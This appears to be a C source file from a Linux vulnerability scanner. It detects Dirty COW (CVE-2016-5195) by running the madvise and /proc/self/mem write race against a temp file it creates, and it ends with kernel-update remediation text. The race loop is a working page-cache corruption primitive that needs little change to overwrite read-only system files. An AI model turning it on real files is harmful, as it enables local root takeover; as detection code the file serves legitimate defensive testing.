cve-2016-5195-procmem.c (5473B)
1 /* 2 * CVE-2016-5195 — Dirty COW (/proc/self/mem variant) 3 * 4 * The kernel's get_user_pages() in a copy-on-write race allows an 5 * unprivileged user to write to read-only memory mappings that are backed 6 * by a file. This detector uses the /proc/self/mem write variant. 7 * 8 * Architecture (follows upstream dirtyc0w.c): 9 * - A temp file is filled with known bytes. 10 * - It is mapped MAP_PRIVATE|PROT_READ. 11 * - Thread 1: continuously calls madvise(MADV_DONTNEED) on the mapping. 12 * - Thread 2 (main): repeatedly seeks /proc/self/mem to the mapping's 13 * address and writes the poison byte. 14 * - After both threads finish, the file is read via pread to check 15 * whether the page cache was corrupted. 16 * 17 * Safe testing: creates a temporary file, attempts the COW page-cache 18 * corruption, verifies the byte was overwritten in the cache, then 19 * removes the temp file — leaving no system state modified. 20 * 21 * References: 22 * https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs 23 * https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c 24 */ 25 #define _GNU_SOURCE 26 #include <errno.h> 27 #include <fcntl.h> 28 #include <pthread.h> 29 #include <stdint.h> 30 #include <stdio.h> 31 #include <stdlib.h> 32 #include <string.h> 33 #include <sys/mman.h> 34 #include <sys/stat.h> 35 #include <sys/types.h> 36 #include <unistd.h> 37 38 #include "setup.h" 39 40 /* Matches upstream: madvise(map, 100, MADV_DONTNEED) */ 41 #define MAP_SIZE 100 42 #define MAGIC_ORIG 'X' 43 #define MAGIC_COW 'Z' 44 45 /* Number of lseek+write iterations per thread. 46 * Upstream dirtyc0w.c uses 100 000 000. 47 * We use a smaller count since we only need to detect — not fully 48 * exploit — and we poll the page cache between iterations. */ 49 #define MAX_ATTEMPTS 1000 50 51 static char *g_map; 52 static volatile int g_hit = 0; 53 54 /* 55 * madvise thread — continuously discards the page so the next access 56 * triggers a page fault, which races against the /proc/self/mem write. 57 * Mirrors upstream dirtyc0w.c madviseThread(). 58 */ 59 static void *madvise_thread(void *arg) { 60 (void)arg; 61 for (int i = 0; i < MAX_ATTEMPTS && !g_hit; i++) { 62 madvise(g_map, MAP_SIZE, MADV_DONTNEED); 63 /* force page fault */ 64 __asm__ volatile("" ::: "memory"); 65 (void)*g_map; 66 } 67 return NULL; 68 } 69 70 int detector_cve_2016_5195_procmem(struct cve_context *ctx) { 71 int fd = -1; 72 int mem_fd = -1; 73 int result = 0; 74 75 /* 1. Create temp file with known bytes */ 76 char path[] = "/tmp/.cve_2016_5195_pm_XXXXXX"; 77 fd = mkstemp(path); 78 if (fd < 0) { 79 if (ctx && ctx->verbose) fprintf(stderr, "[dirtycow-procmem] mkstemp: %s\n", strerror(errno)); 80 return 0; 81 } 82 unlink(path); /* fd keeps it alive */ 83 84 char buf[MAP_SIZE]; 85 memset(buf, MAGIC_ORIG, sizeof(buf)); 86 if (write(fd, buf, sizeof(buf)) != sizeof(buf)) { 87 close(fd); 88 return 0; 89 } 90 fsync(fd); 91 92 /* 2. Map read-only, private (COW) — same as upstream */ 93 g_map = mmap(NULL, MAP_SIZE, PROT_READ, MAP_PRIVATE, fd, 0); 94 if (g_map == MAP_FAILED) { 95 close(fd); 96 return 0; 97 } 98 99 /* Sanity: verify original content */ 100 for (int i = 0; i < MAP_SIZE; i++) { 101 if (g_map[i] != MAGIC_ORIG) { 102 munmap(g_map, MAP_SIZE); 103 close(fd); 104 return 0; 105 } 106 } 107 108 /* 3. Open /proc/self/mem for writing */ 109 mem_fd = open("/proc/self/mem", O_RDWR); 110 if (mem_fd < 0) { 111 if (ctx && ctx->verbose) fprintf(stderr, "[dirtycow-procmem] open(/proc/self/mem): %s\n", strerror(errno)); 112 munmap(g_map, MAP_SIZE); 113 close(fd); 114 return 0; 115 } 116 117 /* 118 * 4. Two-thread race — mirrors upstream dirtyc0w.c: 119 * Thread A (madviseThread): madvise + fault in a loop 120 * Thread B (main): lseek + write to /proc/self/mem 121 * 122 * We also poll the page cache (via pread) between write attempts 123 * so we can stop early if the race is won. 124 */ 125 pthread_t thr; 126 if (pthread_create(&thr, NULL, madvise_thread, NULL) != 0) { 127 close(mem_fd); 128 munmap(g_map, MAP_SIZE); 129 close(fd); 130 return 0; 131 } 132 133 char cow_byte = MAGIC_COW; 134 for (int attempt = 0; attempt < MAX_ATTEMPTS && !g_hit; attempt++) { 135 /* Reset file pointer to the mapping's virtual address */ 136 if (lseek(mem_fd, (off_t)(uintptr_t)g_map, SEEK_SET) < 0) continue; 137 138 if (write(mem_fd, &cow_byte, 1) == 1) { 139 /* 140 * Check page cache via pread — this bypasses the COW 141 * mapping and reads the actual cached page. If the race 142 * was won, the page cache will contain MAGIC_COW. 143 */ 144 char cb; 145 if (pread(fd, &cb, 1, 0) == 1 && cb == MAGIC_COW) { 146 g_hit = 1; 147 result = 1; 148 if (ctx && ctx->verbose) 149 fprintf(stderr, 150 "[dirtycow-procmem] VULNERABLE: page cache " 151 "corrupted via /proc/self/mem (attempt %d)\n", 152 attempt + 1); 153 } 154 } 155 } 156 157 /* 5. Wait for madvise thread to finish and clean up */ 158 pthread_join(thr, NULL); 159 close(mem_fd); 160 munmap(g_map, MAP_SIZE); 161 close(fd); 162 163 return result; 164 } 165 166 __attribute__((constructor)) void detector_cve_2016_5195_procmem_setup(void) { 167 detector_queue_append("CVE-2016-5195/procmem", "dirtycow", 168 "Update the Linux kernel to >= 4.8.3 / 4.7.9 / 4.4.26 or later.\n" 169 " The fix is commit 19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619.\n" 170 " This variant does not require ptrace and works even when\n" 171 " kernel.yama.ptrace_scope >= 1.", 172 detector_cve_2016_5195_procmem); 173 }